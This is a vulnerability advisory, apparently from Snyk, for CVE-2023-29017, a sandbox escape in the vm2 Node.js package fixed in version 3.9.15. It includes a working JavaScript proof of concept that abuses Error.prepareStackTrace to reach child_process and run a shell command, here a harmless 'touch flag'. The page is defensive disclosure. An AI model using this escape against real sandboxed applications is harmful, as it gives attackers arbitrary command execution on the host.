Sandbox Escape Affecting vm2 package, versions <3.9.15
Threat Intelligence
Exploit Maturity
Proof of concept
EPSS
1.94% (90th
percentile)
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applications- Snyk ID SNYK-JS-VM2-5415299
- published 6 Apr 2023
- disclosed 6 Apr 2023
- credit KAIST WSP Lab
Introduced: 6 Apr 2023
CVE-2023-29017 Open this link in a new tabHow to fix?
Upgrade vm2
to version 3.9.15 or higher.
Overview
vm2 is a sandbox that can run untrusted code with whitelisted Node's built-in modules.
Affected versions of this package are vulnerable to Sandbox Escape due to improper handling of host objects passed to Error.prepareStackTrace
in case of unhandled async errors.
PoC
const {VM} = require("vm2");
let vmInstance = new VM();
const code = `
Error.prepareStackTrace = (e, frames) => {
frames.constructor.constructor('return process')().mainModule.require('child_process').execSync('touch flag');
};
(async ()=>{}).constructor('return process')()
`
vmInstance.run(code);
References
CVSS Scores
version 3.1